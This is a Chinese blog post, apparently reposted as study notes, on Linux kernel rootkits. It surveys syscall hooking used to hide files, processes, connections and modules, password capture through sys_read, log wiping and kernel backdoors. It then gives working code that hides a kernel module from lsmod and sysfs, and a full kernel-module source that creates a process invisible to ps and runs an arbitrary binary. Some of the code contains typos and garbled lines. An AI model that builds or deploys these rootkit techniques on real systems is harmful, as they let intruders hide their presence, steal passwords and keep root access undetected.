Rootkit學習


Rootkit介紹:

  Rootkits是linux/unix獲取root權限之后使得攻擊者可以隱藏自己的蹤跡和保留root訪問權限的神器,通常攻擊者使用 rootkit的檢查系統查看是否有其他的用戶登錄,如果只有自己,攻擊者就開始着手清理日志中的有關信息,通過rootkit的嗅探器還可以獲得其他系統的用戶和密碼

  Intel的x86處理器是通過Ring級別來進行訪問控制的,級別共分4層,從Ring0到Ring3(后面簡稱R0、R1、R2、R3)。R0層擁有最高的權限,R3層擁有最低的權限。按照Intel原有的構想,應用程序工作在R3層,只能訪問R3層的數據;操作系統工作在R0層,可以訪問所有層的數據;而其他驅動程序位於R1、R2層,每一層只能訪問本層以及權限更低層的數據。 這應該是很好的設計,這樣操作系統工作在最核心層,沒有其他代碼可以修改它;其他驅動程序工作在R1、R2層,有要求則向R0層調用,這樣可以有效保障操作系統的安全性。但現在的OS,包括Windows和Linux都沒有采用4層權限,而只是使用2層——R0層和R3層,分別來存放操作系統數據和應用程序數據,從而導致一旦驅動加載了,就運行在R0層,就擁有了和操作系統同樣的權限,可以做任何事情,而所謂的rootkit也就隨之而生了。實際上,所有的內核代碼都擁有根權限,當然,並不一定它們都叫做rootkit,這要看你用它來做什么。R3層的rootkit通過文件完整性檢測較容易發現

R0層擁有最高的權限,R3層擁有最低的權限。按照Intel原有的構想,應用程序工作在R3層,只能訪問R3層的數據;操作系統工作在R0層,可以訪問所有層的數據;而其他驅動程序位於R1、R2層

rootkit的常見功能:

隱藏文件:通過strace ls可以發現ls命令其實是通過sys_getdents64獲得文件目錄的,因此可以通過修改sys_getdents64系統調用或者更底層的 readdir實現隱藏文件及目錄,還有對ext2文件系統直接進行修改的方法,不過實現起來不夠方便,也有一些具體的限制。

隱藏進程:隱藏進程的方法和隱藏文件類似,ps命令是通過讀取/proc文件系統下的進程目錄獲得進程信息的,只要能夠隱藏/proc文件系統下的進程目錄就可以達到隱藏進程的效果,即hook sys_getdents64和readdir等。

隱藏連接:netstat命令是通過讀取/proc文件系統下的net/tcp和net/udp文件獲得當前連接信息,因此可以通過hook sys_read調用實現隱藏連接,也可以修改tcp4_seq_show和udp4_seq_show等函數實現。

隱藏模塊:lsmod命令主要是通過sys_query_module系統調用獲得模塊信息,可以通過hook sys_query_module系統調用隱藏模塊,也可以通過將模塊從內核模塊鏈表中摘除從而達到隱藏效果。

嗅探工具:嗅探工具可以通過libpcap庫直接訪問鏈路層,截獲數據包,也可以通過linux的netfilter框架在IP層的hook點上截獲數據包。嗅探器要獲得網絡上的其他數據包需要將網卡設置為混雜模式,這是通過ioctl系統調用的SIOCSIFFLAGS命令實現的,查看網卡的當前模式是通過SIOCGIFFLAGS命令,因此可以通過hook sys_ioctl隱藏網卡的混雜模式。

密碼記錄:密碼記錄可以通過hook sys_read系統調用實現,比如通過判斷當前運行的進程名或者當前終端是否關閉回顯,可以獲取用戶的輸入密碼。hook sys_read還可以實現login后門等其它功能。

日志擦除:傳統的unix日志主要在/var/log/messages,/var/log/lastlog,/var/run/utmp,/var /log/wtmp下,可以通過編寫相應的工具對日志文件進行修改,還可以將HISTFILE等環境變設為/dev/null隱藏用戶的一些操作信息。

內核后門:可以是本地的提權后門和網絡的監聽后門,本地的提權可以通過對內核模塊發送定制命令實現,網絡內核后門可以在IP層對進入主機的數據包進行監聽,發現匹配的指定數據包后立刻啟動回連進程。

rootkit的主要技術:

lkm注射:也是一種隱藏內核模塊的方法,通過感染系統的lkm,在不影響原有功能的情況下將rootkit模塊鏈接到系統lkm中,在模塊運行時獲得控制權,初始化后調用系統lkm的初始化函數,lkm注射涉及到elf文件格式與模塊加載機制。

模塊摘除:主要是指將模塊從模塊鏈表中摘除從而隱藏模塊的方法,最新加載的模塊總是在模塊鏈表的表頭,因此可以在加載完rootkit模塊后再加載一個清除模塊將rootkit模塊信息從鏈表中刪除,再退出清除模塊,新版本內核中也可以通過判斷模塊信息后直接list_del。

攔截中斷:主要通過sidt指令獲得中斷調用表的地址,進而獲取中斷處理程序的入口地址,修改對應的中斷處理程序,如int 0x80,int 0x1等。其中攔截int 0x1是較新的技術,主要利用系統的調試機制,通過設置DR寄存器在要攔截的內存地址上下斷點,從而在執行到指定指令時轉入0x1中斷的處理程序,通過修改0x1中斷的處理程序即可實現想要的功能。

劫持系統調用:和攔截中斷類似,但主要是對系統調用表進行修改,可以直接替換原系統調用表,也可以修改系統調用表的入口地址。在2.4內核之前,內核的系統調用表地址是導出的,因此可以直接對其進行修改。但在2.6內核之后,系統調用表的地址已經不再導出,需要對0x80中斷處理程序進行分析從而獲取系統調用表的地址。

運行時補丁:字符設備驅動程序和塊設備驅動程序在加載時都會向系統注冊一個Struct file_operations結構實現指定的read、write等操作,文件系統也是如此,通過修改文件系統的file_operations結構,可以實現新的read、write操作等。

inline hook:主要是指對內存中的內核函數直接修改,而不影響原先的功能,可以采用跳轉的辦法,也可以修改對下層函數的call offset實現。

端口反彈:主要是為了更好的突破防火牆的限制,可以在客戶端上監聽80端口,而在服務器端通過對客戶端的80端口進行回連,偽裝成一個訪問web服務的正常進程從而突破防火牆的限制。

 

LKM的編碼學習(隱藏模塊

正常的ko文件

#include <linux/init.h>  
#include <linux/kernel.h>  
#include <linux/module.h>  

static int hello_init(void) 
{  
    printk("Hello world.\n");  
    return 0;  
} 


static void hello_exit(void)
{  
    printk("Goodbye world.\n");  
    return;  
}  

module_init(hello_init);  
module_exit(hello_exit); 


MODULE_LICENSE("GPL");  
MODULE_AUTHOR("fly"); 
1 obj-m:=helloworld.o   
2 KDIR:=/lib/modules/5.4.0-21-generic/build  
3 MAKE:=make  
4 default5     $(MAKE) -C $(KDIR) SUBDIRS=$(PWD) modules  
6 clean:
7     rm -rf *.o *~ core .depend .*.cmd *.ko *.mod.c .tmp_versions

 

如何改成隱藏模塊

1)隱藏打印信息

  在LKM中,是無法依賴於我們平時使用的C庫的,模塊僅僅被鏈接到內核,只可以調用內核所導出的函數,不存在可鏈接的函數庫。這是內核編程與我們平時應用程序編程的不同之一。printk()函數將內容紀錄在系統日志文件里,當然我們也可以用printk()將信息輸出至控制台

2)從lsmod命令中隱藏我們的模塊

  對於rootkit來說,隱蔽性是非常重要的,一個lsmod命令就可以讓我們的lkm遁形,這顯然談不上隱蔽。對於dmesg命令,我們只要刪除掉printk()函數就好,這個函數所起的僅僅是示范作用。但是如何讓lsmod命令無法顯示我們的模塊呢?

lsmod解釋:
lsmod命令是通過/proc/modules來獲取當前系統模塊信息的。而/proc/modules中的當前系統模塊信息是內核利用struct modules結構體的表頭遍歷內核模塊鏈表、
從所有模塊的struct module結構體中獲取模塊的相關信息來得到的。結構體struct module在內核中代表一個內核模塊。通過insmod(實際執行init_module系統調用)把自己編寫的內核模塊插入內核時,
模塊便與一個 struct module結構體相關聯,並成為內核的一部分,所有的內核模塊都被維護在一個全局鏈表中,鏈表頭是一個全局變量struct module *modules。任何一個新創建的模塊,
都會被加入到這個鏈表的頭部,通過modules->next即可引用到

為了讓我們的模塊在lsmod命令中的輸出里消失掉,我們需要在這個鏈表內刪除我們的模塊:

list_del_init(&__this_module.list);

將"list_del_init(&__this_module.list);"加入到我們的初始化函數中,保存,編譯,裝載模塊,再lsmod

3)從sysfs中隱藏我們的模塊

除了lsmod命令和相對應的查看/proc/modules以外,我們還可以在sysfs中,也就是通過查看/sys/module/目錄來發現現有的模塊

解決方案:

kobject_del(&THIS_MODULE->mkobj.kobj);
kobj是一個struct kobject結構體,而kobject是組成設備模型的基本結構。這時我們又要簡單介紹下sysfs這個概念,sysfs是一種基於ram的文件系統,它提供了一種用於向用戶空間展現內核空間里的對象、
屬性和鏈接的方法。sysfs與kobject層次緊密相連,它將kobject層次關系表現出來,使得用戶空間可以看見這些層次關系。通常,sysfs是掛在在/sys目錄下的,而/sys/module是一個sysfs的一個目錄層次,
包含當前加載模塊的信息. 我們通過kobject_del()函數刪除我們當前模塊的kobject就可以起到在/sys/module中隱藏lkm的作用。

隱形進程編碼學習(隱藏進程

目標:

ps 查看不到進程

1)將task從tasks鏈表摘除
2)將task從pid鏈表摘除

設計思想:

我們都知道每個進程都有一個task_struct存放進程信息,task_struct是從kmem cache中分配的,而kmem cache是slab統一管理的,將task從各類鏈表摘除讓該task脫離管制,task所屬的鏈表可以隨意摘除,但是task出生的場所卻不可改變,

1、kmem_cache_alloc_node的作用
通過這段代碼可以看出,它調用了kmem_cache_alloc_node函數,在task_struct的緩存區域task_struct分配了一塊內存

static struct kmem_cache *task_struct_cachep;
 
task_struct_cachep = kmem_cache_create("task_struct",
            arch_task_struct_size, align,
            SLAB_PANIC|SLAB_NOTRACK|SLAB_ACCOUNT, NULL);
 
static inline struct task_struct *alloc_task_struct_node(int node)
{
    return kmem_cache_alloc_node(task_struct_cachep, GFP_KERNEL, node);
}
 
static inline void free_task_struct(struct task_struct *tsk)
{
    kmem_cache_free(task_struct_cachep, tsk);
}
1、在系統初始化的時候,task_struct_cachep 會被 kmem_cache_create 函數創建。
2、這個函數也比較容易看懂、專門用於分配 task_struct 對象的緩存。這個緩存區的名字就叫 task_struct。
3、緩存區中每一塊的大小正好等於 task_struct 的大小,也即 arch_task_struct_size。

1、kmem_cache_alloc_node函數的作用?
1、有了這個緩存區,每次創建task_struct的時候,我們就不用到內存里面去分配,先在緩存里面看看有沒有直接可用的,這就是kmem_cache_alloc_node的作用

2、kmem_cache_free的作用
當一個進程結束,task_struct 也不用直接被銷毀,而是放回到緩存中,這就是kmem_cache_free的作用,

這樣,新進程創建的時候,我們就可以直接用現成的緩存中的task_struct了

2、緩存區struct kmem_cache到底是什么樣子
struct kmem_cache {
    struct kmem_cache_cpu __percpu *cpu_slab;
    /* Used for retriving partial slabs etc */
    unsigned long flags;
    unsigned long min_partial;
    int size;       /* The size of an object including meta data */
    int object_size;    /* The size of an object without meta data */
    int offset;     /* Free pointer offset. */
#ifdef CONFIG_SLUB_CPU_PARTIAL
    int cpu_partial;    /* Number of per cpu partial objects to keep around */
#endif
    struct kmem_cache_order_objects oo;
    /* Allocation and freeing of slabs */
    struct kmem_cache_order_objects max;
    struct kmem_cache_order_objects min;
    gfp_t allocflags;   /* gfp flags to use on each alloc */
    int refcount;       /* Refcount for slab cache destroy */
    void (*ctor)(void *);
......
    const char *name;   /* Name (only for display!) */
    struct list_head list;  /* List of slab caches */
......
    struct kmem_cache_node *node[MAX_NUMNODES];
};
3、LIST_HEAD 1、在 struct kemem_cache里面,有個變量struct list_head list,這個結構我們已經看到過多次了 2、我們可以想象一下,對於操作系統來講,要創建和管理的緩存絕對不止task_struct,難道mm_struct就不需要嗎? 3、fs_struct就不需要嗎?都需要,因此所有的緩存最后都會放在一個鏈表里面這就是LIST_HEAD(slab_caches)

所以創建通過task_struct_cachep來進行, 如果創建一個不被察覺的進程就不能走正常流程

自己創建進程

base = kmalloc(2048*3, GFP_KERNEL);
tsk = (struct task_struct *)(base + 157);

malloc slab是一個公用的slab池,滿足一些常見大小的私有內存的分配需求,但是它也是受slab管理,還是有風險,如果想讓task的創建徹底脫離slab的管理,那不妨試試下面的:

bash = page_address(__alloc_pages(...));
tsk = (struct task_struct *)(base + 157);

下面步驟:

  1. 照着copy_process的實現進行最小化代碼復制。
  2. 不要復制copy_process的pid管理部分,改為LIST_INIT。
  3. 不要復制copy_process的鏈表管理部分,改為HLIST_INIT。
  4. 所有的深拷貝對象盡量用__alloc_pages,至少用kmalloc-2x+來分配。
  5. 剩余的空閑內存填充task字段的顯著特征值,以混淆視聽。
  6. 實在嫌麻煩,那就照抄用kmem_cache_alloc,但會增加被經理抓的風險。
  7. 設置內核線程,並在內核線程中調用do_execve到用戶態可執行文件。
  8. wake up新進程。
  9. 新進程盡量不要退出,因為kmem cache不會收容它的屍體

源碼:

  1 #include <linux/module.h>
  2 #include <linux/cred.h>
  3 #include <linux/slab.h>
  4 #include <linux/kallsyms.h>
  5 #include <linux/nsproxy.h>
  6 #include <linux/pid_namespace.h>
  7 #include <linux/random.h>
  8 #include <linux/fdtable.h>
  9 #include <linux/cgroup.h>
 10 #include <linux/sched.h>
 11 
 12 int (*_run_process)(struct filename *file, char **, char **);
 13 struct filename * (*_getname_kernel)(char *name);
 14 
 15 int test_stub2(void)
 16 {
 17     printk("stub pid: %d  at %p\n", current->pid, current);
 18     if (_run_process) {
 19         int r =_run_process(_getname_kernel("/root/run"), NULL, NULL);
 20         printk("result:%d\n", r);
 21     }
 22     current->parent = current;
 23     current->real_parent = current;
 24     // kernel thread要返回用戶態,才能達到exec到新task的效果。
 25     // 但是記住,exit的時候,直接schedule掉即可,記住把它的parent設置成它自己。
 26     // 否則,其parent會wait並嘗試free掉隱藏task,這會導致內存狀態異常。
 27     return 0;
 28 }
 29 
 30 int (*_arch_dup_task_struct)(struct task_struct *, struct task_struct *);
 31 int (*_copy_thread)(unsigned long, unsigned long, unsigned long, struct task_struct *);
 32 void (*_wake_up_new_task)(struct task_struct *);
 33 void (*_sched_fork)(unsigned long, struct task_struct *);
 34 struct fs_struct * (*_copy_fs_struct)(struct fs_struct *);
 35 struct files_struct * (*_dup_fd)(struct files_struct *, int *);
 36 struct pid * (*_alloc_pid)(struct pid_namespace *ns);
 37 enum hrtimer_restart (*_it_real_fn)(struct hrtimer *timer);
 38 
 39 static int __init private_proc_init(void)
 40 {
 41     unsigned char *base;
 42     struct task_struct *tsk;
 43     struct thread_info *ti;
 44     struct task_struct *orig = current;
 45     unsigned long *stackend;
 46     struct pid_link *link;
 47     struct hlist_node *node;
 48     struct sighand_struct *sig;
 49     struct signal_struct *sign;
 50     struct cred *new;
 51     struct pid *pid = NULL;
 52     int type, err = 0;
 53 
 54     _arch_dup_task_struct = (void *)kallsyms_lookup_name("arch_dup_task_struct");
 55     _sched_fork = (void *)kallsyms_lookup_name("sched_fork");
 56     _copy_fs_struct = (void *)kallsyms_lookup_name("copy_fs_struct");
 57     _dup_fd = (void *)kallsyms_lookup_name("dup_fd");
 58     _run_process = (void *)kallsyms_lookup_name("do_execve");
 59     _getname_kernel =  (void *)kallsyms_lookup_name("getname_kernel");
 60     _it_real_fn =  (void *)kallsyms_lookup_name("it_real_fn");
 61     _alloc_pid =  (void *)kallsyms_lookup_name("alloc_pid");
 62     _copy_thread = (void *)kallsyms_lookup_name("copy_thread");
 63     _wake_up_new_task = (void *)kallsyms_lookup_name("wake_up_new_task");
 64 
 65     base = (unsigned char *)kmalloc(4096, GFP_KERNEL);
 66     tsk = (struct task_struct *)(base + 157);
 67     _arch_dup_task_struct(tsk, orig);
 68     base = (unsigned char *)kmalloc(sizeof(struct thread_info) + 17, GFP_KERNEL);
 69     ti = (struct thread_info *)(base);
 70     tsk->stack = ti;
 71     *task_thread_info(tsk) = *task_thread_info(orig);
 72     task_thread_info(tsk)->task = tsk;
 73     stackend = end_of_stack(tsk);
 74     *stackend = 0x57AC6E9D;
 75     tsk->stack_canary = get_random_int();
 76 
 77     clear_tsk_thread_flag(tsk, TIF_USER_RETURN_NOTIFY);
 78     clear_tsk_thread_flag(tsk, TIF_NEED_RESCHED );
 79     // 避免wait釋放kmalloc的內存到特定slab,引用計數設置為2
 80     atomic_set(&tsk->usage, 2);
 81     tsk->splice_pipe = NULL;
 82     tsk->task_frag.page = NULL;
 83     memset(&tsk->rss_stat, 0, sizeof(tsk->rss_stat));
 84 
 85     raw_spin_lock_init(&tsk->pi_lock);
 86     plist_head_init(&tsk->pi_waiters);
 87     tsk->pi_blocked_on = NULL;
 88 
 89     rcu_copy_process(tsk);
 90     tsk->vfork_done = NULL;
 91     spin_lock_init(&tsk->alloc_lock);
 92     init_sigpending(&tsk->pending);
 93 
 94     seqlock_init(&tsk->vtime_seqlock);
 95     tsk->audit_context = NULL;
 96 
 97     _sched_fork(0, tsk);
 98 
 99     tsk->mm = NULL;
100     tsk->active_mm = NULL;
101     memset(&tsk->perf_event_ctxp, 0, sizeof(tsk->perf_event_ctxp));
102     mutex_init(&tsk->perf_event_mutex);
103     INIT_LIST_HEAD(&tsk->perf_event_list);
104 
105     new = prepare_creds();
106     if (new->thread_keyring) {
107         key_put(new->thread_keyring);
108         new->thread_keyring = NULL;
109     }
110     key_put(new->process_keyring);
111     new->process_keyring = NULL;
112     atomic_inc(&new->user->processes);
113     tsk->cred = tsk->real_cred = get_cred(new);
114     validate_creds(new);
115 
116     tsk->fs = _copy_fs_struct(current->fs);
117     tsk->files = _dup_fd(current->files, &err);
118     base = kmalloc(sizeof(struct sighand_struct) + 13, GFP_KERNEL);
119     // 奇數地址
120     sig = (struct sighand_struct *)(base + 3);
121     // 避免do_exit釋放kmalloc的內存到特定slab,引用計數設置為2
122     atomic_set(&sig->count, 2);
123     memcpy(sig->action, current->sighand->action, sizeof(sig->action));
124 
125     base = kmalloc(sizeof(struct signal_struct) + 15, GFP_KERNEL);
126     sign = (struct signal_struct *)(base + 7);
127     sign->nr_threads = 1;
128     // 避免do_exit釋放kmalloc的內存到特定slab,引用計數設置為2
129     atomic_set(&sign->live, 2);
130     atomic_set(&sign->sigcnt, 2);
131     sign->thread_head = (struct list_head)LIST_HEAD_INIT(tsk->thread_node);
132     tsk->thread_node = (struct list_head)LIST_HEAD_INIT(sign->thread_head);
133     init_waitqueue_head(&sign->wait_chldexit);
134     sign->curr_target = tsk;
135     init_sigpending(&sign->shared_pending);
136     INIT_LIST_HEAD(&sign->posix_timers);
137     seqlock_init(&sign->stats_lock);
138     memcpy(sign->rlim, current->signal->rlim, sizeof sign->rlim);
139 
140     tsk->cgroups = current->cgroups;
141     atomic_inc(&tsk->cgroups->refcount);
142     INIT_LIST_HEAD(&tsk->cg_list);
143 
144     // 設置堆棧以及入口
145     tsk->flags |= PF_KTHREAD;
146     // 我們用一個kernel thread stub來exec到用戶態的binary。
147     _copy_thread(0, (unsigned long)test_stub2, (unsigned long)0, tsk);
148     tsk->clear_child_tid = NULL;
149     tsk->set_child_tid = NULL;
150 
151     // 偽造身份證明
152     pid = kmalloc(sizeof(struct pid), GFP_KERNEL);
153     pid->level = current->nsproxy->pid_ns->level;
154     pid->numbers[0].nr = 0xffff;
155     pid->numbers[0].ns = current->nsproxy->pid_ns;
156     for (type = 0; type < PIDTYPE_MAX; ++type)
157         INIT_HLIST_HEAD(&pid->tasks[type]);
158     atomic_set(&pid->count, 2);
159 
160     // 進程管理結構自吞尾
161     INIT_LIST_HEAD(&tsk->ptrace_entry);
162     INIT_LIST_HEAD(&tsk->ptraced);
163     atomic_set(&tsk->ptrace_bp_refcnt, 1);
164     tsk->jobctl = 0;
165     tsk->ptrace = 0;
166     tsk->pi_state_cache = NULL;
167     tsk->group_leader = tsk;
168     INIT_LIST_HEAD(&tsk->thread_group);
169     tsk->pid = pid_nr(pid);
170     INIT_LIST_HEAD(&tsk->pi_state_list);
171     INIT_LIST_HEAD(&tsk->tasks);
172     INIT_LIST_HEAD(&tsk->children);
173     INIT_LIST_HEAD(&tsk->sibling);
174 
175     // 進程組織自吞尾
176     tsk->pids[PIDTYPE_PID].pid = pid;
177     link = &tsk->pids[PIDTYPE_PID];
178     node = &link->node;
179     INIT_HLIST_NODE(node);
180     node->pprev = &node;
181 
182     // 來吧!
183     _wake_up_new_task(tsk);
184 
185     return -1; // oneshot,並非真正加載模塊
186 }
187 
188 static void __exit private_proc_exit(void)
189 {
190 }
191 
192 module_init(private_proc_init);
193 module_exit(private_proc_exit);
194 MODULE_LICENSE("GPL");

測試程序:

1 #include <fcntl.h>
2 int main(int argc, char **argv)
3 {
4     int fd = open("/dev/pts/0", O_RDWR);
5     while (1) {
6         write(fd, "test\n", 10);
7         sleep(1);
8     }
9 }

 

參考文獻:

Linux系統創建系統偵測不到的隱形進程(Rootkit技術必備)

https://www.freebuf.com/articles/system/54263.html

https://github.com/ivyl/rootkit

https://www.freebuf.com/articles/network/23665.html

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM